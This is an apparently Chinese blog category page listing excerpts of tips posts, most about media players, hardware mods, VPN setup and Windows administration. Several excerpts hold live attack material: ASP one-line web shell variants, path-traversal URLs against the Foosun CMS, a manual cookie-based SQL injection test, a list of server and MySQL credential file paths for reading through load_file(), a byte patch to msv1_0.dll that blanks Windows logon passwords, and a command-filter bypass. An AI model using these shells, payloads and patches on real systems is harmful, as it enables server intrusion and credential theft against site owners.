BlogJava-酒水不犯茶水-随笔分类-经验技巧

楼上恶邻小孩奔跑咚咚咚

009 — Fri, 26 Feb 2016 06:55:00 GMT

摘要:
一定会有人用这个关键字搜到这里的，
原来没打算写，网上搜索时候发现很多人深受苦恼，还是写一下吧。
背景就不解释了，此方法为下下策，能用武力解决的就尽量少哔哔。
。。。
阅读全文

009 2016-02-26 14:55 发表评论

大四轴飞行器

009 — Mon, 12 May 2014 08:43:00 GMT

摘要:
备忘和参考

阅读全文

009 2014-05-12 16:43 发表评论

Nokia N900上安装Neopwn

009 — Fri, 19 Nov 2010 06:38:00 GMT

摘要:
Neopwn：
http://www.neopwn.com/
BackTrack Mobile版，再解释一下，相当于一个黑客工具集的手机版，装完才发现，其实主要用到的就wl1251，一个支持注入的网卡驱动，其它的很多功能都是空的，或者不好用，稳定性不好，建议
……

阅读全文

009 2010-11-19 14:38 发表评论

关于115网盘提示“网络繁忙时段，非登陆用户其它下载地址暂时关闭。。。”解决方法。

009 — Wed, 19 May 2010 03:17:00 GMT

摘要:

有时候下载115网盘的时候会提示“网络繁忙时段，非登陆用户其它下载地址暂时关闭。推荐您使用优蛋下载，没有优蛋？立即下载 ”
其实稍微修改下就可以解决。
……

阅读全文

009 2010-05-19 11:17 发表评论

解决用Kmplayer播放视频有明显马赛克、锯齿

009 — Sat, 06 Feb 2010 14:18:00 GMT

摘要:
重装了N遍驱动，N遍Kmplayer，包括不同版本的，完美解码等，调试了无数回解码器，渲染器，分离器什么的，还是没有解决
最终发现是......

阅读全文

009 2010-02-06 22:18 发表评论

风讯所有版本多个目录相关漏洞

009 — Wed, 11 Nov 2009 15:43:00 GMT

目录更名（新目录不能包含点）
/User/FileManage.asp?Type=FolderReName&OldFileName=../../FS_Inc&NewFileName=009

目录浏览（CurrPath不能包含点）
/Foosun500/User/CommPages/FolderImageList.asp?CurrPath=/userfiles/&ShowVirtualPath=&f_UserNumber=1210538AD00

创建目录xxxx（CurrPath不能包含点）
/User/CommPages/FolderImageList.asp?CurrPath=/userfiles/xxxx&ShowVirtualPath=&f_UserNumber=1210538AD00

009 2009-11-11 23:43 发表评论

T60手工添加WWAN模块上3G和GPS

009 — Sat, 17 Oct 2009 13:15:00 GMT

摘要:
硬件需求：MC5725、小耳朵（天线）、EVDO资费卡、AN/AAA码、IMSI码
软件需求：T60BIOS2.22mod-1802 1804.iso、MC5725驱动、CDMA_Workshop_v2.7.rar、EVDO.prl、QPST_v2.7.rar、EVDO_Watcher.exe

WCDMA太贵，不考虑，移动的还早，现在比较流行的就是电信的EVDO，所以选定MC5725模块，而且还能GPS，由于国外都没有中国的机卡分离之说，所以需要把UIM卡的信息刷到模块上面，这个信息就是AN/AAA码和IMSI码，需要电信的内部人员提供，网上有些卖家能提供，不过现在好像越来越严了，估计以后很难拿到这些了。
如果需要发短信等普通手机功能，需要刷ESN码，还有鉴权什么的需要刷AKey，如果只是上3G，只要AN/AAA码和IMSI码即可。

以上是这几天翻阅海量帖子之后就我的理解，如有误人子弟的地方请指正。

拆机，安装硬件（之前换过不下5次液晶屏的灯管，此等级的拆机装机不费吹灰之力）
... 阅读全文

009 2009-10-17 21:15 发表评论

TRS （文本检索系统）注入

009 — Thu, 10 Sep 2009 07:12:00 GMT

摘要:
TRS 是英文Text Retrieval System（文本检索系统）的缩写，据说是全文检索、搜索引擎、内容管理及知识管理核心技术和产品的统一，入选2008年度国家规划布局内重点软件企业，做某些渗透经常会碰到。
......

阅读全文

009 2009-09-10 15:12 发表评论

绕过命令行下过滤反斜杠\

009 — Thu, 16 Oct 2008 06:39:00 GMT

摘要:
%tmp:~2,1%
稍微看了下，原来这个字符串是这个意思：%tmp:~2,1% = mid(%tmp%,2,1) = \
......

阅读全文

009 2008-10-16 14:39 发表评论

回答“我的电脑最近很慢”“老是弹出网页”之类的问题专用帖

009 — Sun, 21 Sep 2008 13:46:00 GMT

摘要:
“我的电脑黑屏了”
“我的电脑最近不知怎么变得很慢？“
“我上网老是自动弹出页面，怎么回事？”
“为什么杀毒软件老是弹出来，每次都是同一个病毒？”
.....................
任何人，我一般都会帮忙，但是长时间停留在这个问题上，会疯掉的，往往对方的描述不一定精确，光靠说，白白花了一天的时间也有可能搞不定一个小问题
也许有两种情况我会耐心的给你分析，1：领导，2：美女
我一般会说：“造成这种情况有149834种可能，重装吧，装完升级系统，打补丁，装杀毒，升级病毒库，不要装垃圾软件，不要上色情网站。”
下面讲讲一般步骤，以下讲的都是对付普通病毒，如果说驱动级，rootkit，bootkit什么的，要想让我用一篇简单的blog描述清楚恐怕不太现实，让你清理注入线程，SSDT之类的恶意程序就够你受的了。
................
阅读全文

009 2008-09-21 21:46 发表评论

用工具下载fs2you资源

009 — Wed, 20 Feb 2008 06:04:00 GMT

摘要: javascript:window.setTimeout=null;showDirectDownload() 阅读全文

009 2008-02-20 14:04 发表评论

KmPlayer播放某些DVDRip时候对白声音小，背景声音大的解决方法

009 — Tue, 19 Feb 2008 03:29:00 GMT

摘要: 老家的台式机坏了，好不容易修好了，也没啥用，就当“碟机”吧，重装系统，就装了个winrar和kmplayer
kmplayer播放某些avi文件的时候，对白小到几乎听不到，偶尔出现的背景音乐大到吓人，网上找了很多，准备按照步骤做，发现就没有提到的解码方式，我下的是kmplayer带所有解码包的版本，估计是没有注册。

在命令行到kmplayer的codecs目录，
执行如下命令：
........
阅读全文

009 2008-02-19 11:29 发表评论

JavaScript加密解密7种方法

009 — Fri, 16 Nov 2007 05:42:00 GMT

摘要: 本文一共介绍了七种javascript加密方法：

　　在做网页时（其实是网页木马呵呵），最让人烦恼的是自己辛辛苦苦写出来的客户端IE运行的javascript代码常常被别人轻易的拷贝，实在让自己的心里有点不是滋味，要知道自己写点东西也挺累的......^*^

　　但我们也应该清楚地认识到因为javascript代码是在IE中解释执行，要想绝对的保密是不可能的，我们要做的就是尽可能的增大拷贝者复制的难度，让他知难而退（但愿~!~），下面我结合自己这几年来的实践，及个人研究的心得，和大家一起来探讨一下网页中javascript代码的加密解密技术。

　　以加密下面的javascript代码为例：
......

阅读全文

009 2007-11-16 13:42 发表评论

autorun.inf完全操作手册(ZT)

009 — Fri, 16 Nov 2007 02:16:00 GMT

摘要: 一、autorun.inf是windows下操纵光盘行为的一个文件，需要放在光盘根目录下，部分操作对于硬盘也适用。
二、autorun.inf是可以被禁止的。方法如下：
点击开始->运行，在文本框中输入regedit或者regedt32。依次展开HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Exploer，其中的NoDriveTypeAutoRun子键限制着Autorun的作用范围，默认为95（16进制）。
................
阅读全文

009 2007-11-16 10:16 发表评论

清空代码防止查看源代码(ZT)

009 — Fri, 16 Nov 2007 01:45:00 GMT

摘要: 阅读全文

009 2007-11-16 09:45 发表评论

VBS解决终端窗口中特殊快捷键问题

009 — Mon, 15 Oct 2007 09:27:00 GMT

摘要: 写程序麻烦，还要传上去，幸好VBS每台服务器应该都可以运行的吧，很少会又禁止的
使用SendKeys搞定
例如呼出Cain使用果如下脚本：）
Set WshShell= Wscript.CreateObject("Wscript.Shell")
Wscript.Sleep 1500
WshShell.SendKeys "%{PGUP}"

以下位SendKeys的相关使用方法等
............

阅读全文

009 2007-10-15 17:27 发表评论

如何调试程序的 Release 版本

009 — Tue, 28 Aug 2007 17:07:00 GMT

摘要: 很多时候程序的 Debug 版本运行没有任何问题，但是一旦发布 Release 版本后，运行就出错，着实让人郁闷。大家知道，VC++ 中 Release 版本是对无法对源代码进行调试的。一般的做法是在怀疑有错误的代码前后插入MessageBox 函数，在函数中显示可能导致错误的变量的值。或者插入写文件的语句，输出可能导致错误的变量的值到一个记录文件。其实，除了上面讲的这个办法之外，还有其它的途径来调试 Release 版本的。下面就结合自己的经验和网上查找的一些资料给出调试 Release 版本的两个方法：
......
阅读全文

009 2007-08-29 01:07 发表评论

cygwin下安装DBI

009 — Mon, 27 Aug 2007 12:59:00 GMT

摘要: 运行pl程序，提示：Can't locate DBI.pm in @INC，解决方法如下：

Install cygwin with these options:
- gcc (devel)
- make (devel)
- binutils (devel)
- Perl 5.8.6 (interpreters)
- Perl win32 API (libs)
- PostgreSQL (database)

installing DBI-1.48.tar.gz as follows:
- Unpack the kit into /usr/src (c:\cygwin\usr\src)
- Open a cygwin shell and cd to /usr/src/DBI-1.48
- perl Makefile.PL
- make
- make test
- make install

在cygwin的shell下执行相应pl文件，比如./ 阅读全文

009 2007-08-27 20:59 发表评论

教你如何分析未文档化的数据结构(ZT)

009 — Mon, 27 Aug 2007 04:59:00 GMT

摘要: Editor:admin Time:2005-8-20 23:22 Read:9985 Score:8 Print
Writer:HSLY
Excerpt:80x86汇编小站
Preface：
分享逆向技术心德......
Content：

[标题] 教你如何分析未文档化的数据结构

[作者] hsly110 或者猪头三

[个人网站] http://www.x86asm.com 80x86汇编小站
[Email] pliceman_110@163.com PS:本文如果有错漏请来信指出
[范围] 逆向工程
[目的] 分享逆向技术心德
[目标API] 未文档化的RtlInitializeGenericTable
[参考文献] Secrets of Reverse Engineering
..........
阅读全文

009 2007-08-27 12:59 发表评论

load_file()函数查看常用配置文件

009 — Mon, 27 Aug 2007 02:24:00 GMT

摘要: /usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/my.cnf //mysql的配置文件
/etc/issue //系统版本
/etc/issue.net
/etc/redhat-release
C:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
/etc/sysconfig/iptables //从中得到防火墙规则策略

c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Serv-U\Serv 阅读全文

009 2007-08-27 10:24 发表评论

Terminal Services: reset Sessions

009 — Sat, 25 Aug 2007 06:24:00 GMT

摘要:
The problem: you use terminal services in administration mode (which allows 2 sessions), now you cannot connect to the server because all sessions are used.
Windows 2000+ (includes Windows XP and 2003) have two command-line tools called qwinsta and rwinsta that can query and reset a remote session.

Query a server:
> qwinsta /server:192.168.12.12
.......
阅读全文

009 2007-08-25 14:24 发表评论

Use CDO.Message (cdosys.dll) to send an SMTP Mail with importance (as a VBS Script)

009 — Sat, 25 Aug 2007 06:15:00 GMT

摘要:
I had to create a .VBS script to create an automated E-Mail message. The hardest part was to set the importance of the mail, I've found the solution here: http://www.lewisroberts.com/?p=64
Here come's the script:
Dim iMsg
Dim iConf
Dim Flds
Dim strHTML
............
阅读全文

009 2007-08-25 14:15 发表评论

Task Scheduler or RunAs without a password

009 — Sat, 25 Aug 2007 06:11:00 GMT

摘要:
Standard user's in big companies usually runs as unprivileged users, thus they cannot execute admin tasks. But sometimes it's necessary to run a task with admin rights (automated software deploy) - runas, in some situations, is a bad idea because it needs a user and a clear text password (and no, the password compiled in an exe file is not very safe!).
......
阅读全文

009 2007-08-25 14:11 发表评论

Quick and dirty PXE boot

009 — Sat, 25 Aug 2007 06:08:00 GMT

摘要: Most new Servers or Workstations aren't equipped with a floppy drive anymore, but from time to time I need to boot from a floppy drive. And I don't want to burn a CD each time I need to boot from a floppy drive.. so the solution is tftpd32 and PXELINUX. With those 2 tools I'm able to boot disk images from the LAN.

You need tftpd32 from Ph. Jounin (http://tftpd32.jounin.net/) and PXELINUX, which is a part of the SYSLINUX package (http://syslinux.zytor.com).
阅读全文

009 2007-08-25 14:08 发表评论

提供几个一句话变形(未测试)

009 — Sun, 12 Aug 2007 08:50:00 GMT

<%execute request("value")%><%'<% loop <%:%>
<%'<% loop <%:%><%execute request("value")%>
<%execute request("value")'<% loop <%:%>

009 2007-08-12 16:50 发表评论

Cookie注入手工检测方法

009 — Sun, 12 Aug 2007 08:45:00 GMT

摘要: 例:
http://xxxx/view.asp?id=1
先访问http://xxxx/view.asp?id=1
接着在浏览器里输入：
javascript:alert(document.cookie="id="+escape("1 and 1=1"))
再访问http://xxxx/view.asp（未出错）
再输入：javascript:alert(document.cookie="id="+escape("188 and 1=2"))
再访问：http://xxxx/view.asp（出错）
该页面出错就表示可以用Cookie注入。
..........
阅读全文

009 2007-08-12 16:45 发表评论

关于PE可执行文件的修改(ZT)

009 — Sun, 05 Aug 2007 14:15:00 GMT

摘要: 1、PE文件框架构成
DOS MZ header
DOS stub
PE header
Section table
Section 1
Section 2
Section ...
Section n
上表是PE文件结构的总体层次分布。所有 PE文件(甚至32位的 DLLs) 必须以一个简单的 DOS MZ header 开始，在偏移0处有DOS下可执行文件的“MZ标志”，有了它，一旦程序在DOS下执行，DOS就能识别出这是有效的执行体，然后运行紧随 MZ header 之后的 DOS stub。DOS stub实际上是个有效的EXE，在不支持 PE文件格式的操作系统中，它将简单显示一个错误提示，类似于字符串 " This program cannot run in DOS mode " 或者程序员可根据自己的意图实现完整的 DOS代码。通常DOS stub由汇编器/编译器自动生成，对我们的用处不是很大，它简单调用中断21h服务9来显示字符串"This program cannot run in DOS mode"。阅读全文

009 2007-08-05 22:15 发表评论

清空系统密码(ZT)

009 — Tue, 10 Jul 2007 09:39:00 GMT

摘要: 这东西再放都长毛了,放出来....精灵还写了个利用工具,找不到了.回头补上..

system32下有个msv1_0.dll

xp sp2
F8 10 75 11 B0 01 8B 4D
修改为
E0 00 75 11 B0 01 8B 4D

2k professinal
F8 10 0F 84 71 FF FF
修改为
E0 00 0F 84 71 FF FF
阅读全文

009 2007-07-10 17:39 发表评论

hh.exe的隐藏参数,反编译chm文件(ZT)

009 — Thu, 14 Jun 2007 13:47:00 GMT

摘要:
HH.EXE -decompile <输出路径> <目标chm文件>

阅读全文

009 2007-06-14 21:47 发表评论

Linux 下 OpenVPN 安装和 Windows OpenVPN GUI 安装笔记(ZT)

009 — Sun, 10 Jun 2007 06:57:00 GMT

摘要: 　基于伟大的 GFW 越来越牛Ｂ，网站的正常维护如 FTP、pop & smtp 的邮件收发、在 google 查技术资料，都经常被 GFW 强行断开。为了解决这个问题，于是我在自己的国外主机上安装了一个 OpenVPN，当时记录了一下安装的经过。今天正好又能一个朋友问及 OpenVPN 安装的事情，于是我重新整理一下这篇Linux 下 OpenVPN 安装和 Windows OpenVPN GUI 安装笔记(http://www.xiaohui.com/dev/server/20070514- install-openvpn.htm), 希望对大家有所帮助.
...........
阅读全文

009 2007-06-10 14:57 发表评论